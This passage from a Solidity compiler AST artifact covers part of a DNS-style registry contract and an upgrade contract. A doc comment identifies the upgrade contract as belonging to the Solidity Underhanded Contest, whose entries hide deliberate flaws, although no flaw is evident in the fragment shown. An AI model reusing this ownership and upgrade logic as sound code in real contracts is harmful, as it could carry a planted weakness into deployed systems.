payable\"},\"children\":[{\"attributes\":{\"overloadedDeclarations\":[null],\"referencedDeclaration\":-26,\"type\":\"tx\",\"value\":\"tx\"},\"id\":1671,\"name\":\"Identifier\",\"src\":\"1603:2:5\"}],\"id\":1672,\"name\":\"MemberAccess\",\"src\":\"1603:9:5\"}],\"id\":1673,\"name\":\"BinaryOperation\",\"src\":\"1589:23:5\"},{\"attributes\":{\"commonType\":{\"typeIdentifier\":\"t_address\",\"typeString\":\"address\"},\"isConstant\":false,\"isLValue\":false,\"isPure\":false,\"lValueRequested\":false,\"operator\":\"==\",\"type\":\"bool\"},\"children\":[{\"attributes\":{\"isConstant\":false,\"isLValue\":true,\"isPure\":false,\"lValueRequested\":false,\"member_name\":\"owner\",\"referencedDeclaration\":1424,\"type\":\"address\"},\"children\":[{\"attributes\":{\"overloadedDeclarations\":[null],\"referencedDeclaration\":1663,\"type\":\"struct IDNS.Entry storage pointer\",\"value\":\"entry\"},\"id\":1674,\"name\":\"Identifier\",\"src\":\"1616:5:5\"}],\"id\":1675,\"name\":\"MemberAccess\",\"src\":\"1616:11:5\"},{\"attributes\":{\"isConstant\":false,\"isLValue\":false,\"isPure\":false,\"lValueRequested\":false,\"member_name\":\"sender\",\"type\":\"address payable\"},\"children\":[{\"attributes\":{\"overloadedDeclarations\":[null],\"referencedDeclaration\":-15,\"type\":\"msg\",\"value\":\"msg\"},\"id\":1676,\"name\":\"Identifier\",\"src\":\"1631:3:5\"}],\"id\":1677,\"name\":\"MemberAccess\",\"src\":\"1631:10:5\"}],\"id\":1678,\"name\":\"BinaryOperation\",\"src\":\"1616:25:5\"}],\"id\":1679,\"name\":\"BinaryOperation\",\"src\":\"1589:52:5\"}],\"id\":1680,\"name\":\"TupleExpression\",\"src\":\"1588:54:5\"},{\"attributes\":{\"hexvalue\":\"4e6f7420746865206f776e65722e\",\"isConstant\":false,\"isLValue\":false,\"isPure\":true,\"lValueRequested\":false,\"token\":\"string\",\"type\":\"literal_string \\\"Not the owner.\\\"\",\"value\":\"Not the owner.\"},\"id\":1681,\"name\":\"Literal\",\"src\":\"1647:16:5\"}],\"id\":1682,\"name\":\"FunctionCall\",\"src\":\"1576:91:5\"}],\"id\":1683,\"name\":\"ExpressionStatement\",\"src\":\"1576:91:5\"},{\"children\":[{\"attributes\":{\"isConstant\":false,\"isLValue\":false,\"isPure\":false,\"isStructConstructorCall\":false,\"lValueRequested\":false,\"names\":[null],\"tryCall\":false,\"type\":\"tuple()\",\"type_conversion\":false},\"children\":[{\"attributes\":{\"argumentTypes\":[{\"typeIdentifier\":\"t_bool\",\"typeString\":\"bool\"},{\"typeIdentifier\":\"t_stringliteral_7237b40c37ff5118ba1ddef24c550790af93dd9b94bae5bf99b9f4af8569f664\",\"typeString\":\"literal_string \\\"Invalid owner.\\\"\"}],\"overloadedDeclarations\":[-18,-18],\"referencedDeclaration\":-18,\"type\":\"function (bool,string memory) pure\",\"value\":\"require\"},\"id\":1684,\"name\":\"Identifier\",\"src\":\"1672:7:5\"},{\"attributes\":{\"commonType\":{\"typeIdentifier\":\"t_address\",\"typeString\":\"address\"},\"isConstant\":false,\"isLValue\":false,\"isPure\":false,\"lValueRequested\":false,\"operator\":\"!=\",\"type\":\"bool\"},\"children\":[{\"attributes\":{\"overloadedDeclarations\":[null],\"referencedDeclaration\":1658,\"type\":\"address\",\"value\":\"_owner\"},\"id\":1685,\"name\":\"Identifier\",\"src\":\"1680:6:5\"},{\"attributes\":{\"isConstant\":false,\"isLValue\":false,\"isPure\":true,\"isStructConstructorCall\":false,\"lValueRequested\":false,\"names\":[null],\"tryCall\":false,\"type\":\"address payable\",\"type_conversion\":true},\"children\":[{\"attributes\":{\"argumentTypes\":[{\"typeIdentifier\":\"t_rational_0_by_1\",\"typeString\":\"int_const 0\"}],\"isConstant\":false,\"isLValue\":false,\"isPure\":true,\"lValueRequested\":false,\"type\":\"type(address)\"},\"children\":[{\"attributes\":{\"name\":\"address\"},\"id\":1686,\"name\":\"ElementaryTypeName\",\"src\":\"1690:7:5\"}],\"id\":1687,\"name\":\"ElementaryTypeNameExpression\",\"src\":\"1690:7:5\"},{\"attributes\":{\"hexvalue\":\"30\",\"isConstant\":false,\"isLValue\":false,\"isPure\":true,\"lValueRequested\":false,\"token\":\"number\",\"type\":\"int_const 0\",\"value\":\"0\"},\"id\":1688,\"name\":\"Literal\",\"src\":\"1698:1:5\"}],\"id\":1689,\"name\":\"FunctionCall\",\"src\":\"1690:10:5\"}],\"id\":1690,\"name\":\"BinaryOperation\",\"src\":\"1680:20:5\"},{\"attributes\":{\"hexvalue\":\"496e76616c6964206f776e65722e\",\"isConstant\":false,\"isLValue\":false,\"isPure\":true,\"lValueRequested\":false,\"token\":\"string\",\"type\":\"literal_string \\\"Invalid owner.\\\"\",\"value\":\"Invalid owner.\"},\"id\":1691,\"name\":\"Literal\",\"src\":\"1702:16:5\"}],\"id\":1692,\"name\":\"FunctionCall\",\"src\":\"1672:47:5\"}],\"id\":1693,\"name\":\"ExpressionStatement\",\"src\":\"1672:47:5\"},{\"children\":[{\"attributes\":{\"isConstant\":false,\"isLValue\":false,\"isPure\":false,\"lValueRequested\":false,\"operator\":\"=\",\"type\":\"address\"},\"children\":[{\"attributes\":{\"isConstant\":false,\"isLValue\":true,\"isPure\":false,\"lValueRequested\":true,\"member_name\":\"owner\",\"referencedDeclaration\":1424,\"type\":\"address\"},\"children\":[{\"attributes\":{\"overloadedDeclarations\":[null],\"referencedDeclaration\":1663,\"type\":\"struct IDNS.Entry storage pointer\",\"value\":\"entry\"},\"id\":1694,\"name\":\"Identifier\",\"src\":\"1723:5:5\"}],\"id\":1696,\"name\":\"MemberAccess\",\"src\":\"1723:11:5\"},{\"attributes\":{\"overloadedDeclarations\":[null],\"referencedDeclaration\":1658,\"type\":\"address\",\"value\":\"_owner\"},\"id\":1697,\"name\":\"Identifier\",\"src\":\"1737:6:5\"}],\"id\":1698,\"name\":\"Assignment\",\"src\":\"1723:20:5\"}],\"id\":1699,\"name\":\"ExpressionStatement\",\"src\":\"1723:20:5\"}],\"id\":1700,\"name\":\"Block\",\"src\":\"1365:382:5\"}],\"id\":1701,\"name\":\"FunctionDefinition\",\"src\":\"1290:457:5\"},{\"attributes\":{\"baseFunctions\":[1461],\"functionSelector\":\"461a4478\",\"implemented\":true,\"isConstructor\":false,\"kind\":\"function\",\"modifiers\":[null],\"name\":\"resolve\",\"scope\":1723,\"stateMutability\":\"view\",\"virtual\":false,\"visibility\":\"external\"},\"children\":[{\"attributes\":{\"overrides\":[null]},\"id\":1705,\"name\":\"OverrideSpecifier\",\"src\":\"1804:8:5\"},{\"children\":[{\"attributes\":{\"constant\":false,\"mutability\":\"mutable\",\"name\":\"_domain\",\"scope\":1722,\"stateVariable\":false,\"storageLocation\":\"memory\",\"type\":\"string\",\"visibility\":\"internal\"},\"children\":[{\"attributes\":{\"name\":\"string\",\"type\":\"string\"},\"id\":1702,\"name\":\"ElementaryTypeName\",\"src\":\"1767:6:5\"}],\"id\":1703,\"name\":\"VariableDeclaration\",\"src\":\"1767:21:5\"}],\"id\":1704,\"name\":\"ParameterList\",\"src\":\"1766:23:5\"},{\"children\":[{\"attributes\":{\"constant\":false,\"mutability\":\"mutable\",\"name\":\"\",\"scope\":1722,\"stateVariable\":false,\"storageLocation\":\"default\",\"type\":\"bytes4\",\"visibility\":\"internal\"},\"children\":[{\"attributes\":{\"name\":\"bytes4\",\"type\":\"bytes4\"},\"id\":1706,\"name\":\"ElementaryTypeName\",\"src\":\"1822:6:5\"}],\"id\":1707,\"name\":\"VariableDeclaration\",\"src\":\"1822:6:5\"},{\"attributes\":{\"constant\":false,\"mutability\":\"mutable\",\"name\":\"\",\"scope\":1722,\"stateVariable\":false,\"storageLocation\":\"default\",\"type\":\"address\",\"visibility\":\"internal\"},\"children\":[{\"attributes\":{\"name\":\"address\",\"stateMutability\":\"nonpayable\",\"type\":\"address\"},\"id\":1708,\"name\":\"ElementaryTypeName\",\"src\":\"1830:7:5\"}],\"id\":1709,\"name\":\"VariableDeclaration\",\"src\":\"1830:7:5\"}],\"id\":1710,\"name\":\"ParameterList\",\"src\":\"1821:17:5\"},{\"children\":[{\"attributes\":{\"functionReturnParameters\":1710},\"children\":[{\"attributes\":{\"isConstant\":false,\"isInlineArray\":false,\"isLValue\":false,\"isPure\":false,\"lValueRequested\":false,\"type\":\"tuple(bytes4,address)\"},\"children\":[{\"attributes\":{\"isConstant\":false,\"isLValue\":true,\"isPure\":false,\"lValueRequested\":false,\"member_name\":\"ip\",\"referencedDeclaration\":1422,\"type\":\"bytes4\"},\"children\":[{\"attributes\":{\"isConstant\":false,\"isLValue\":true,\"isPure\":false,\"lValueRequested\":false,\"type\":\"struct IDNS.Entry storage ref\"},\"children\":[{\"attributes\":{\"overloadedDeclarations\":[null],\"referencedDeclaration\":1473,\"type\":\"mapping(string memory => struct IDNS.Entry storage ref)\",\"value\":\"data\"},\"id\":1711,\"name\":\"Identifier\",\"src\":\"1851:4:5\"},{\"attributes\":{\"overloadedDeclarations\":[null],\"referencedDeclaration\":1703,\"type\":\"string memory\",\"value\":\"_domain\"},\"id\":1712,\"name\":\"Identifier\",\"src\":\"1856:7:5\"}],\"id\":1713,\"name\":\"IndexAccess\",\"src\":\"1851:13:5\"}],\"id\":1714,\"name\":\"MemberAccess\",\"src\":\"1851:16:5\"},{\"attributes\":{\"isConstant\":false,\"isLValue\":true,\"isPure\":false,\"lValueRequested\":false,\"member_name\":\"owner\",\"referencedDeclaration\":1424,\"type\":\"address\"},\"children\":[{\"attributes\":{\"isConstant\":false,\"isLValue\":true,\"isPure\":false,\"lValueRequested\":false,\"type\":\"struct IDNS.Entry storage ref\"},\"children\":[{\"attributes\":{\"overloadedDeclarations\":[null],\"referencedDeclaration\":1473,\"type\":\"mapping(string memory => struct IDNS.Entry storage ref)\",\"value\":\"data\"},\"id\":1715,\"name\":\"Identifier\",\"src\":\"1869:4:5\"},{\"attributes\":{\"overloadedDeclarations\":[null],\"referencedDeclaration\":1703,\"type\":\"string memory\",\"value\":\"_domain\"},\"id\":1716,\"name\":\"Identifier\",\"src\":\"1874:7:5\"}],\"id\":1717,\"name\":\"IndexAccess\",\"src\":\"1869:13:5\"}],\"id\":1718,\"name\":\"MemberAccess\",\"src\":\"1869:19:5\"}],\"id\":1719,\"name\":\"TupleExpression\",\"src\":\"1850:39:5\"}],\"id\":1720,\"name\":\"Return\",\"src\":\"1843:46:5\"}],\"id\":1721,\"name\":\"Block\",\"src\":\"1839:54:5\"}],\"id\":1722,\"name\":\"FunctionDefinition\",\"src\":\"1750:143:5\"}],\"id\":1723,\"name\":\"ContractDefinition\",\"src\":\"141:1754:5\"}],\"id\":1724,\"name\":\"SourceUnit\",\"src\":\"36:1860:5\"}},\"src/Upgrade.sol\":{\"AST\":{\"attributes\":{\"absolutePath\":\"src/Upgrade.sol\",\"exportedSymbols\":{\"IDNS\":[1462],\"Upgrade\":[2050]},\"license\":\"GPL-v3\"},\"children\":[{\"attributes\":{\"literals\":[\"solidity\",\"^\",\"0.7\",\".0\"]},\"id\":1725,\"name\":\"PragmaDirective\",\"src\":\"36:23:6\"},{\"attributes\":{\"literals\":[\"experimental\",\"ABIEncoderV2\"]},\"id\":1726,\"name\":\"PragmaDirective\",\"src\":\"60:33:6\"},{\"attributes\":{\"SourceUnit\":1463,\"absolutePath\":\"src/IDNS.sol\",\"file\":\"./IDNS.sol\",\"scope\":2051,\"symbolAliases\":[null],\"unitAlias\":\"\"},\"id\":1727,\"name\":\"ImportDirective\",\"src\":\"95:20:6\"},{\"attributes\":{\"abstract\":false,\"baseContracts\":[null],\"contractDependencies\":[null],\"contractKind\":\"contract\",\"fullyImplemented\":true,\"linearizedBaseContracts\":[2050],\"name\":\"Upgrade\",\"scope\":2051},\"children\":[{\"attributes\":{\"text\":\"@title This contract is the upgrade mechanism object of the Solidity Underhanded Contest.\\n @notice It tracks the history of upgrades and opt outs and ins of users per upgrade.\"},\"id\":1728,\"name\":\"StructuredDocumentation\",\"src\":\"117:183:6\"},{\"attributes\":{\"canonicalName\":\"Upgrade.Opt\",\"name\":\"Opt\"},\"children\":[{\"attributes\":{\"name\":\"Out\"},\"id\":1729,\"name\":\"EnumValue\",\"src\":\"531:3:6\"},{\"attributes\":{\"name\":\"In\"},\"id\":1730,\"name\":\"EnumValue\",\"src\":\"536:2:6\"}],\"id\":1731,\"name\":\"EnumDefinition\",\"src\":\"521:18:6\"},{\"attributes\":{\"canonicalName\":\"Upgrade.UpgradeConfig\",\"name\":\"UpgradeConfig\",\"scope\":2050,\"visibility\":\"public\"},\"children\":[{\"attributes\":{\"constant\":false,\"mutability\":\"mutable\",\"name\":\"userOpt\",\"scope\":1740,\"stateVariable\":false,\"storageLocation\":\"default\",\"type\":\"mapping(address => enum Upgrade.Opt)\",\"visibility\":\"internal\"},\"children\":[{\"attributes\":{\"type\":\"mapping(address => enum Upgrade.Opt)\"},\"children\":[{\"attributes\":{\"name\":\"address\",\"type\":\"address\"},\"id\":1732,\"name\":\"ElementaryTypeName\",\"src\":\"576:7:6\"},{\"attributes\":{\"name\":\"Opt\",\"referencedDeclaration\":1731,\"type\":\"enum Upgrade.Opt\"},\"id\":1733,\"name\":\"UserDefinedTypeName\",\"src\":\"587:3:6\"}],\"id\":1734,\"name\":\"Mapping\",\"src\":\"567:24:6\"}],\"id\":1735,\"name\":\"VariableDeclaration\",\"src\":\"567:32:6\"},{\"attributes\":{\"constant\":false,\"mutability\":\"mutable\",\"name\":\"when\",\"scope\":1740,\"stateVariable\":false,\"storageLocation\":\"default\",\"type\":\"uint256\",\"visibility\":\"internal\"},\"children\":[{\"attributes\":{\"name\":\"uint\",\"type\":\"uint256\"},\"id\":1736,\"name\":\"ElementaryTypeName\",\"src\":\"603:4:6\"}],\"id\":1737,\"name\":\"VariableDeclaration\",\"src\":\"603:9:6\"},{\"attributes\":{\"constant\":false,\"mutability\":\"mutable\",\"name\":\"to\",\"scope\":1740,\"stateVariable\":false,\"storageLocation\":\"default\",\"type\":\"contract IDNS\",\"visibility\":\"internal\"},\"children\":[{\"attributes\":{\"name\":\"IDNS\",\"referencedDeclaration\":1462,\"type\":\"contract IDNS\"},\"id\":1738,\"name\":\"UserDefinedTypeName\",\"src\":\"616:4:6\"}],\"id\":1739,\"name\":\"VariableDeclaration\",\"src\":\"616:7:6\"}],\"id\":1740,\"name\":\"StructDefinition\",\"src\":\"542:85:6\"},{\"attributes\":{\"constant\":false,\"functionSelector\":\"7386bbc5\",\"mutability\":\"mutable\",\"name\":\"upgrades\",\"scope\":2050,\"stateVariable\":true,\"storageLocation\":\"default\",\"type\":\"struct Upgrade.UpgradeConfig[]\",\"visibility\":\"public\"},\"children\":[{\"attributes\":{\"type\":\"struct Upgrade.UpgradeConfig[]\"},\"children\":[{\"attributes\":{\"name\":\"UpgradeConfig\",\"referencedDeclaration\":1740,\"type\":\"struct Upgrade.UpgradeConfig\"},\"id\":1742,\"name\":\"UserDefinedTypeName\",\"src\":\"1067:13:6\"}],\"id\":1743,\"name\":\"ArrayTypeName\",\"src\":\"1067:15:6\"},{\"attributes\":{\"text\":\"@notice History of upgrades performed by this engine, which remain alive since\\n different users might opt-in different upgrades.\\n- An upgrade is currently planned if there is an element in the array and\\n its `when` is in the future.\\n - There cannot be two planned upgrades at the same time.\\n - A user can opt-in multiple upgrades throughout time. The latest upgrade a user\\n opted-in is their active upgrade.\"},\"id\":1741,\"name\":\"StructuredDocumentation\",\"src\":\"630:435:6\"}],\"id\":1744,\"name\":\"VariableDeclaration\",\"src\":\"1067:31:6\"},{\"attributes\":{\"constant\":false,\"functionSelector\":\"f851a440\",\"mutability\":\"immutable\",\"name\":\"admin\",\"scope\":2050,\"stateVariable\":true,\"storageLocation\":\"default\",\"type\":\"address\",\"visibility\":\"public\"},\"children\":[{\"attributes\":{\"name\":\"address\",\"stateMutability\":\"nonpayable\",\"type\":\"address\"},\"id\":1746,\"name\":\"ElementaryTypeName\",\"src\":\"1268:7:6\"},{\"attributes\":{\"text\":\"@notice Upgrade admin.\\n Can only suggest new upgrades and cancel planned upgrades,\\n but cannot change users options neither change the upgrades history.\"},\"id\":1745,\"name\":\"StructuredDocumentation\",\"src\":\"1102:164:6\"}],\"id\":1747,\"name\":\"VariableDeclaration\",\"src\":\"1268:30:6\"},{\"attributes\":{\"name\":\"onlyAdmin\",\"virtual\":false,\"visibility\":\"internal\"},\"children\":[{\"attributes\":{\"text\":\"@dev Used by `newUpgrade` and `cancelUpgrade`.\"},\"id\":1748,\"name\":\"StructuredDocumentation\",\"src\":\"1302:50:6\"},{\"attributes\":{\"parameters\":[null]},\"children\":[],\"id\":1749,\"name\":\"ParameterList\",\"src\":\"1373:0:6\"},{\"children\":[{\"children\":[{\"attributes\":{\"isConstant\":false,\"isLValue\":false,\"isPure\":false,\"isStructConstructorCall\":false,\"lValueRequested\":false,\"names\":[null],\"tryCall\":false,\"type\":\"tuple()\",\"type_conversion\":false},\"children\":[{\"attributes\":{\"argumentTypes\":[{\"typeIdentifier\":\"t_bool\",\"typeString\":\"bool\"}],\"overloadedDeclarations\":[-18,-18],\"referencedDeclaration\":-18,\"type\":\"function (bool) pure\",\"value\":\"require\"},\"id\":1750,\"name\":\"Identifier\",\"src\":\"1377:7:6\"},{\"attributes\":{\"commonType\":{\"typeIdentifier\":\"t_address\",\"typeString\":\"address\"},\"isConstant\":false,\"isLValue\":false,\"isPure\":false,\"lValueRequested\":false,\"operator\":\"==\",\"type\":\"bool\"},\"children\":[{\"attributes\":{\"isConstant\":false,\"isLValue\":false,\"isPure\":false,\"lValueRequested\":false,\"member_name\":\"sender\",\"type\":\"address payable\"},\"children\":[{\"attributes\":{\"overloadedDeclarations\":[null],\"referencedDeclaration\":-15,\"type\":\"msg\",\"value\":\"msg\"},\"id\":1751,\"name\":\"Identifier\",\"src\":\"1385:3:6\"}],\"id\":1752,\"name\":\"MemberAccess\",\"src\":\"1385:10:6\"},{\"attributes\":{\"overloadedDeclarations\":[null],\"referencedDeclaration\":1747,\"type\":\"address\",\"value\":\"admin\"},\"id\":1753,\"name\":\"Identifier\",\"src\":\"1399:5:6\"}],\"id\":1754,\"name\":\"BinaryOperation\",\"src\":\"1385:19:6\"}],\"id\":1755,\"name\":\"FunctionCall\",\"src\":\"1377:28:6\"}],\"id\":1756,\"name\":\"ExpressionStatement\",\"src\":\"1377:28:6\"},{\"id\":1757,\"name\":\"PlaceholderStatement\",\"src\":\"1409:1:6\"}],\"id\":1758,\"name\":\"Block\",\"src\":\"1373:41:6\"}],\"id\":1759,\"name\":\"ModifierDefinition\",\"src\":\"1354:60:6\"},{\"attributes\":{\"implemented\":true,\"isConstructor\":true,\"kind\":\"constructor\",\"modifiers\":[null],\"name\":\"\",\"scope\":2050,\"stateMutability\":\"nonpayable\",\"virtual\":false,\"visibility\":\"public\"},\"children\":[{\"attributes\":{\"text\":\"@dev Sets the deployer as the upgrade admin.\"},\"id\":1760,\"name\":\"StructuredDocumentation\",\"src\":\"1417:48:6\"},{\"attributes\":{\"parameters\":[null]},\"children\":[],\"id\":1761,\"name\":\"ParameterList\",\"src\":\"1478:2:6\"},{\"attributes\":{\"parameters\":[null]},\"children\":[],\"id\":1762,\"name\":\"ParameterList\",\"src\":\"1481:0:6\"},{\"children\":[{\"children\":[{\"attributes\":{\"isConstant\":false,\"isLValue\":false,\"isPure\":false,\"lValueRequested\":false,\"operator\":\"=\",\"type\":\"address\"},\"children\":[{\"attributes\":{\"overloadedDeclarations\":[null],\"referencedDeclaration\":1747,\"type\":\"address\",\"value\":\"admin\"},\"id\":1763,\"name\":\"Identifier\",\"src\":\"1485:5:6\"},{\"attributes\":{\"isConstant\":false,\"isLValue\":false,\"isPure\":false,\"lValueRequested\":false,\"member_name\":\"sender\",\"type\":\"address payable\"},\"children\":[{\"attributes\":{\"overloadedDeclarations\":[null],\"referencedDeclaration\":-15,\"type\":\"msg\",\"value\":\"msg\"},\"id\":1764,\"name\":\"Identifier\",\"src\":\"1493:3:6\"}],\"id\":1765,\"name\":\"MemberAccess\",\"src\":\"1493:10:6\"}],\"id\":1766,\"name\":\"Assignment\",\"src\":\"1485:18:6\"}],\"id\":1767,\"name\":\"ExpressionStatement\",\"src\":\"1485:18:6\"}],\"id\":1768,\"name\":\"Block\",\"src\":\"1481:26:6\"}],\"id\":1769,\"name\":\"FunctionDefinition\",\"src\":\"1467:40:6\"},{\"attributes\":{\"functionSelector\":\"b1d6d39d\",\"implemented\":true,\"isConstructor\":false,\"kind\":\"function\",\"modifiers\":[null],\"name\":\"opt\",\"scope\":2050,\"stateMutability\":\"nonpayable\",\"virtual\":false,\"visibility\":\"external\"},\"children\":[{\"attributes\":{\"text\":\"@notice Allows a user to opt in or out the current planned upgrade.\"},\"id\":1770,\"name\":\"StructuredDocumentation\",\"src\":\"1510:71:6\"},{\"children\":[{\"attributes\":{\"constant\":false,\"mutability\":\"mutable\",\"name\":\"_opt\",\"scope\":1799,\"stateVariable\":false,\"storageLocation\":\"default\",\"type\":\"enum Upgrade.Opt\",\"visibility\":\"internal\"},\"children\":[{\"attributes\":{\"name\":\"Opt\",\"referencedDeclaration\":1731,\"type\":\"enum Upgrade.Opt\"},\"id\":1771,\"name\":\"UserDefinedTypeName\",\"src\":\"1596:3:6\"}],\"id\":1772,\"name\":\"VariableDeclaration\",\"src\":\"1596:8:6\"}],\"id\":1773,\"name\":\"ParameterList\",\"src\":\"1595:10:6\"},{\"attributes\":{\"parameters\":[null]},\"children\":[],\"id\":1774,\"name\":\"ParameterList\",\"src\":\"1615:0:6\"},{\"children\":[{\"children\":[{\"attributes\":{\"isConstant\":false,\"isLValue\":false,\"isPure\":false,\"isStructConstructorCall\":false,\"lValueRequested\":false,\"names\":[null],\"tryCall\":false,\"type\":\"tuple()\",\"type_conversion\":false},\"children\":[{\"attributes\":{\"argumentTypes\":[{\"typeIdentifier\":\"t_bool\",\"typeString\":\"bool\"},{\"typeIdentifier\":\"t_stringliteral_080f5523ed98807068933c5d7976457b8033a8121e1f53db7a253cac091f5549\",\"typeString\":\"literal_string \\\"Cannot opt non planned upgrade.\\\"\"}],\"overloadedDeclarations\":[-18,-18],\"referencedDeclaration\":-18,\"type\":\"function (bool,string memory) pure\",\"value\":\"require\"},\"id\":1775,\"name\":\"Identifier\",\"src\":\"1619:7:6\"},{\"attributes\":{\"arguments\":[null],\"isConstant\":false,\"isLValue\":false,\"isPure\":false,\"isStructConstructorCall\":false,\"lValueRequested\":false,\"names\":[null],\"tryCall\":false,\"type\":\"bool\",\"type_conversion\":false},\"children\":[{\"attributes\":{\"argumentTypes\":[null],\"overloadedDeclarations\":[null],\"referencedDeclaration\":2049,\"type\":\"function () view returns (bool)\",\"value\":\"upgradePlanned\"},\"id\":1776,\"name\":\"Identifier\",\"src\":\"1627:14:6\"}],\"id\":1777,\"name\":\"FunctionCall\",\"src\":\"1627:16:6\"},{\"attributes\":{\"hexvalue\":\"43616e6e6f74206f7074206e6f6e20706c616e6e656420757067726164652e\",\"isConstant\":false,\"isLValue\":false,\"isPure\":true,\"lValueRequested\":false,\"token\":\"string\",\"type\":\"literal_string \\\"Cannot opt non planned upgrade.\\\"\",\"value\":\"Cannot opt non planned upgrade.\"},\"id\":1778,\"name\":\"Literal\",\"src\":\"1645:33:6\"}],\"id\":1779,\"name\":\"FunctionCall\",\"src\":\"1619:60:6\"}],\"id\":1780,\"name\":\"ExpressionStatement\",\"src\":\"1619:60:6\"},{\"attributes\":{\"assignments\":[1782]},\"children\":[{\"attributes\":{\"constant\":false,\"mutability\":\"mutable\",\"name\":\"l\",\"scope\":1798,\"stateVariable\":false,\"storageLocation\":\"default\",\"type\":\"uint256\",\"visibility\":\"internal\"},\"children\":[{\"attributes\":{\"name\":\"uint\",\"type\":\"uint256\"},\"id\":1781,\"name\":\"ElementaryTypeName\",\"src\":\"1683:4:6\"}],\"id\":1782,\"name\":\"VariableDeclaration\",\"src\":\"1683:6:6\"},{\"attributes\":{\"isConstant\":false,\"isLValue\":false,\"isPure\":false,\"lValueRequested\":false,\"member_name\":\"length\",\"type\":\"uint256\"},\"children\":[{\"attributes\":{\"overloadedDeclarations\":[null],\"referencedDeclaration\":1744,\"type\":\"struct Upgrade.UpgradeConfig storage ref[] storage ref\",\"value\":\"upgrades\"},\"id\":1783,\"name\":\"Identifier\",\"src\":\"1692:8:6\"}],\"id\":1784,\"name\":\"MemberAccess\",\"src\":\"1692:15:6\"}],\"id\":1785,\"name\":\"VariableDeclarationStatement\",\"src\":\"1683:24:6\"},{\"children\":[{\"attributes\":{\"isConstant\":false,\"isLValue\":false,\"isPure\":false,\"lValueRequested\":false,\"operator\":\"=\",\"type\":\"enum Upgrade.Opt\"},\"children\":[{\"attributes\":{\"isConstant\":false,\"isLValue\":true,\"isPure\":false,\"lValueRequested\":true,\"type\":\"enum Upgrade.Opt\"},\"children\":[{\"attributes\":{\"isConstant\":false,\"isLValue\":true,\"isPure\":false,\"lValueRequested\":false,\"member_name\":\"userOpt\",\"referencedDeclaration\":1735,\"type\":\"mapping(address => enum Upgrade.Opt)\"},\"children\":[{\"attributes\":{\"isConstant\":false,\"isLValue\":true,\"isPure\":false,\"lValueRequested\":false,\"type\":\"struct Upgrade.UpgradeConfig storage ref\"},\"children\":[{\"attributes\":{\"overloadedDeclarations\":[null],\"referencedDeclaration\":1744,\"type\":\"struct Upgrade.UpgradeConfig storage ref[] storage ref\",\"value\":\"upgrades\"},\"id\":1786,\"name\":\"Identifier\",\"src\":\"1711:8:6\"},{\"attributes\":{\"commonType\":{\"typeIdentifier\":\"t_uint256\",\"typeString\":\"uint256\"},\"isConstant\":false,\"isLValue\":false,\"isPure\":false,\"lValueRequested\":false,\"operator\":\"-\",\"type\":\"uint256\"},\"children\":[{\"attributes\":{\"overloadedDeclarations\":[null],\"referencedDeclaration\":1782,\"type\":\"uint256\",\"value\":\"l\"},\"id\":1787,\"name\":\"Identifier\",\"src\":\"1720:1:6\"},{\"attributes\":{\"hexvalue\":\"31\",\"isConstant\":false,\"isLValue\":false,\"isPure\":true,\"lValueRequested\":false,\"token\":\"number\",\"type\":\"int_const 1\",\"value\":\"1\"},\"id\":1788,\"name\":\"Literal\",\"src\":\"1724:1:6\"}],\"id\":1789,\"name\":\"BinaryOperation\",\"src\":\"1720:5:6\"}],\"id\":1790,\"name\":\"IndexAccess\",\"src\":\"1711:15:6\"}],\"id\":1791,\"name\":\"MemberAccess\",\"src\":\"1711:23:6\"},{\"attributes\":{\"isConstant\":false,\"isLValue\":false,\"isPure\":false,\"lValueRequested\":false,\"member_name\":\"sender\",\"type\":\"address payable\"},\"children\":[{\"attributes\":{\"overloadedDeclarations\":[null],\"referencedDeclaration\":-15,\"type\":\"msg\",\"value\":\"msg\"},\"id\":1792,\"name\":\"Identifier\",\"src\":\"1735:3:6\"}],\"id\":1793,\"name\":\"MemberAccess\",\"src\":\"1735:10:6\"}],\"id\":1794,\"name\":\"IndexAccess\",\"src\":\"1711:35:6\"},{\"attributes\":{\"overloadedDeclarations\":[null],\"referencedDeclaration\":1772,\"type\":\"enum Upgrade.Opt\",\"value\":\"_opt\"},\"id\":1795,\"name\":\"Identifier\",\"src\":\"1749:4:6\"}],\"id\":1796,\"name\":\"Assignment\",\"src\":\"1711:42:6\"}],\"id\":1797,\"name\":\"ExpressionStatement\",\"src\":\"1711:42:6\"}],\"id\":1798,\"name\":\"Block\",\"src\":\"1615:142:6\"}],\"id\":1799,\"name\":\"FunctionDefinition\",\"src\":\"1583:174:6\"},{\"attributes\":{\"functionSelector\":\"90b60de9\",\"implemented\":true,\"isConstructor\":false,\"kind\":\"function\",\"modifiers\":[null],\"name\":\"activeUpgrade\",\"scope\":2050,\"stateMutability\":\"view\",\"virtual\":false,\"visibility\":\"external\"},\"children\":[{\"attributes\":{\"text\":\"@notice Search backwards for the latest upgrade that _user opted-in.\\n Does not consider the currently planned upgrade, if any.\\n @return (false, 0) if _user never opted-in, or opted-in but the planned upgrade then was cancelled.\\n @return (true, <address_of_upgrade>) if user opted-in at least once, and that upgrade became active.\"},\"id\":1800,\"name\":\"StructuredDocumentation\",\"src\":\"1760:345:6\"},{\"children\":[{\"attributes\":{\"constant\":false,\"mutability\":\"mutable\",\"name\":\"_user\",\"scope\":1886,\"stateVariable\":false,\"storageLocation\":\"default\",\"type\":\"address\",\"visibility\":\"internal\"},\"children\":[{\"attributes\":{\"name\":\"address\",\"stateMutability\":\"nonpayable\",\"type\":\"address\"},\"id\":1801,\"name\":\"ElementaryTypeName\",\"src\":\"2130:7:6\"}],\"id\":1802,\"name\":\"VariableDeclaration\",\"src\":\"2130:13:6\"}],\"id\":1803,\"name\":\"ParameterList\",\"src\":\"2129:15:6\"},{\"children\":[{\"attributes\":{\"constant\":false,\"mutability\":\"mutable\",\"name\":\"\",\"scope\":1886,\"stateVariable\":false,\"storageLocation\":\"default\",\"type\":\"bool\",\"visibility\":\"internal\"},\"children\":[{\"attributes\":{\"name\":\"bool\",\"type\":\"bool\"},\"id\":1804,\"name\":\"ElementaryTypeName\",\"src\":\"2168:4:6\"}],\"id\":1805,\"name\":\"VariableDeclaration\",\"src\":\"2168:4:6\"},{\"attributes\":{\"constant\":false,\"mutability\":\"mutable\",\"name\":\"\",\"scope\":1886,\"stateVariable\":false,\"storageLocation\":\"default\",\"type\":\"contract IDNS\",\"visibility\":\"internal\"},\"children\":[{\"attributes\":{\"name\":\"IDNS\",\"referencedDeclaration\":1462,\"type\":\"contract 